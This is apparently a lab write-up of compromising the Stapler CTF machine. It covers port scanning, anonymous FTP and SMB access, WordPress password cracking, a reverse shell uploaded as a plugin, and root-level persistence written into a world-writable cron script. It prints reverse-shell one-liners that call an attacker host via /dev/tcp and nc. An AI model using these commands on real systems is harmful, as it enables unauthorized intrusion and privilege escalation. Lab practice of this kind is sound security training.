1. Asset Discovery
1.1. Host Discovery
The target machine STAPLER[1] has a specified IP, so the host discovery process is not involved.
1.2. Service Discovery
Using the command sudo -u root nmap 172.16.33.79 -n -Pn -p- --reason -sV -sC -O, we identified open ports, services provided, components used, and their versions on the host.
|
Open Ports |
Services Provided |
Components Used |
Version |
|---|---|---|---|
|
21/tcp |
ftp |
vsftpd |
2.0.8 or later |
|
22/tcp |
ssh |
OpenSSH |
7.2p2 |
|
53/tcp |
domain |
dnsmasq |
2.75 |
|
80/tcp |
http |
PHP cli server |
5.5 or later |
|
139/tcp |
netbios-ssn |
Samba smbd |
4.3.9 |
|
666/tcp |
doom? |
? |
? |
|
3306/tcp |
mysql |
MySQL |
5.7.12 |
|
12380/tcp |
http |
Apache httpd |
2.4.18 |
|
– |
os |
Ubuntu Linux |
? |
2. Vulnerability Discovery (Privilege Escalation)
2.1. Port 21/FTP Service
2.1.1. Component Vulnerability
Using the command searchsploit vsftpd 2.0.8, no Nday vulnerability was found for vsftpd 2.0.8.
2.1.2. Credential Vulnerability
Using the command ftp 172.16.33.79 to connect to the FTP service, we logged in using the anonymous account anonymous and blank password, and discovered a username Harry. Using the command ls -a to view files, found no access permissions, and used the command bye to exit the FTP service.
Using the previously discovered harry user, the command hydra -l harry -P /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt 172.16.33.79 ftp was used, no weak passwords were found.
2.2. Port 139/SMB Service
2.2.1. Component Vulnerability
Using the command searchsploit Samba 4.3.9, no Nday vulnerability was found for Samba smbd 4.3.9.
2.2.2. Credential Vulnerability
Using the command smbclient -L 172.16.33.79 and blank password to see what is available, found kathy. Using the command smbclient //172.16.33.79/kathy and blank password to log into the SMB service, using ls discovered two directories, used cd to enter the directory and get to download files, finally used quit to exit SMB service.
Checked downloaded files one by one, no valuable information.
2.3. Port 666/doom Service
2.3.1. Component Vulnerability
Using the command searchsploit doom, no Nday vulnerability was found related to the doom service component.
2.3.2. Other Vulnerabilities
Used the command nc 172.16.33.79 666 to connect to the port, which returned a bunch of garbled characters, suspected to be a file. Using the command nc 172.16.33.79 666 > file stored the garbled output to file file, and used the command less file to view, found that the start is PK, indicating it’s a compressed file.
Using the command mv file file.zip to append a zip suffix to the file, then command unzip file.zip to decompress, obtained message2.jpg file. Using the command less message2.jpg to view, found the hint If you are reading this, you should get a cookie!, possibly indicating %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz and &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz are cookies?
2.4. Port 80/HTTP Service
2.4.1. Component Vulnerability
0x01. Web Middleware
Using the command searchsploit PHP cli server, no Nday vulnerability was found for the PHP cli server middleware.
0x02. Web Framework
Using the browser plugin Wappalyzer, no web framework with Nday vulnerabilities was found.
2.4.2. URL Vulnerability
0x01. Direct Access
Opened http://172.16.33.79/ and got a 404 page, no gain.
0x02. Directory Scan
Scanned the website’s directories and files using the command dirsearch -u http://172.16.33.79/ -x 403, no valuable findings.
0x03. Fuzz Testing
No need for FUZZ on directories and files with the current known situation.
0x04. Protocol Switching
Probing the HTTPS protocol, accessed https://172.16.33.79/, no response.
2.5. Port 12380/HTTP Service
2.5.1. Component Vulnerability
0x01. Web Middleware
Using the command searchsploit Apache httpd 2.4., no Nday vulnerability was found for the Apache httpd 2.4.18 middleware.
0x02. Web Framework
Using the browser plugin Wappalyzer, no Nday vulnerabilities were found for the web framework.
2.5.2. URL Vulnerability
0x01. Direct Access
Opened https://172.16.33.79:12380/ in the browser, notified that the site is under development, no findings.
0x02. Directory Scan
Abandoned scanning directories and files of the website using the command dirsearch -u http://172.16.33.79:12380/ -x 403 due to being too slow.
0x03. Fuzz Testing
No need for FUZZ on directories and files with the current known situation.
0x04. Protocol Switching (this step is not in SOP, thanks to this target machine)
Attempted the HTTPS protocol, accessed https://172.16.33.79:12380, responded, verified the use of the HTTP protocol.
2.6. Port 12380/HTTPS Service
2.6.1. Component Vulnerability
0x01. Web Middleware
Already ruled out in 2.5.1, will not repeat.
0x02. Web Framework
Using the browser plugin Wappalyzer, no Nday vulnerabilities were found for the web framework.
2.6.2. URL Vulnerability
0x01. Direct Access
Directly accessed https://172.16.33.79:12380, notified as an internal page, no other information.
0x02. Directory Scan
Scanned the website’s directories and files with searchsploit -u https://172.16.33.79:12380/ -x 403, discovered /phpmyadmin and /robots.txt files.
Opened the /robots.txt file and found new paths /admin112233 and /blogblog.
Opened the /admin112233 file, prompted to bring a cookie for access. Tried cookie from port 666, but to no avail.
Opened the /blogblog file and discovered built with WordPress.
Scanned WordPress with command wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks, checked results one by one, no findings.
Scanned WordPress users with command wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --enumerate u, discovered quite a few.
Cracked WordPress user passwords with command wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --usernames john,peter,barry,heather,garry,elly,harry,scott,kathy,tim --passwords /usr/share/wordlists/rockyou.txt, found quite a few.
Logged in one by one at https://172.16.33.79:12380/blogblog/wp-login.php, all were regular users, could not get a shell, fortunately, eventually found the admin John Smith.
Tried writing a reverse shell into the PHP file of the current theme, but no write permissions.
Tried writing a reverse shell into the PHP file of the current plugin, but no write permissions either.
In plugins, found Add New functionality, can Upload Plugin, tried uploading a reverse shell file with an anonymous account anonymous and blank password without error. Later tested, just leaving step 6 blank also allowed uploads. However, the upload request did not return the file save path, and none were found on the front end.
Recalling earlier wpscan showed a file upload path https://172.16.33.79:12380/blogblog/wp-content/uploads/, which was empty when accessed before, but now shows uploaded reverse shell files. On the local machine, used nc -nvlp 3379 to listen to the port, then accessed the reverse shell file and ultimately obtained a reverse shell.
0x03. Fuzz Testing
No need for FUZZ on directories and files with the current known information.
3. Privilege Escalation
3.1. www-data User
3.1.1. sudo
Using command sudo -l to check which commands can be executed with this user’s privileges, it was indicated there is no tty, thus an interactive authentication program cannot be used. The command which python3 revealed Python3 is installed, so using the command python3 -c "import pty; pty.spawn('/bin/bash')" to get an interactive tty.
Using command sudo -l again to check which commands can be executed with this user’s privileges, it required the www-data user password, which we don’t have, so had to give up.
3.1.2. suid
Used command find / -perm -u=s -type f -ls 2>/dev/null to see which commands execute with the command owner’s privileges when run, found quite a few. Checked each in GTFOBins[2], none could be used for privilege escalation.
3.1.3. cron
Used command find /var/spool/cron/ -type f -ls 2>/dev/null to check cron jobs, no results. find /var/spool/cron/ -type f -ls showed no viewing permissions due to being hidden.
Used command find /etc/*cron* -type f -ls 2>/dev/null to check cron jobs, found quite a few. Used find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt and grep '\*' /tmp/cron.txt to check job content, found root user runs /usr/local/sbin/cron-logrotate.sh every 5 minutes.
Used ls -l /usr/local/sbin/cron-logrotate.sh to check script permissions, found other users have read and write permissions. Used cat /usr/local/sbin/cron-logrotate.sh utilizing read permissions to check script content, found only a comment. Used echo "bash -i >& /dev/tcp/10.8.0.110/4444 0>&1" >> /usr/local/sbin/cron-logrotate.sh to write a reverse shell within the script with write permissions, confirmed the reverse shell was successfully written with cat /usr/local/sbin/cron-logrotate.sh.
Locally used nc -nvlp 4444 to attempt getting a reverse shell, but failed. grep root /etc/passwd revealed root shell is zsh, which is why bash reverse shell didn’t work. Switched to nc, used echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.0.110 4444 >/tmp/f" > /usr/local/sbin/cron-logrotate.sh to embed reverse shell, confirmed it was successfully written with cat /usr/local/sbin/cron-logrotate.sh.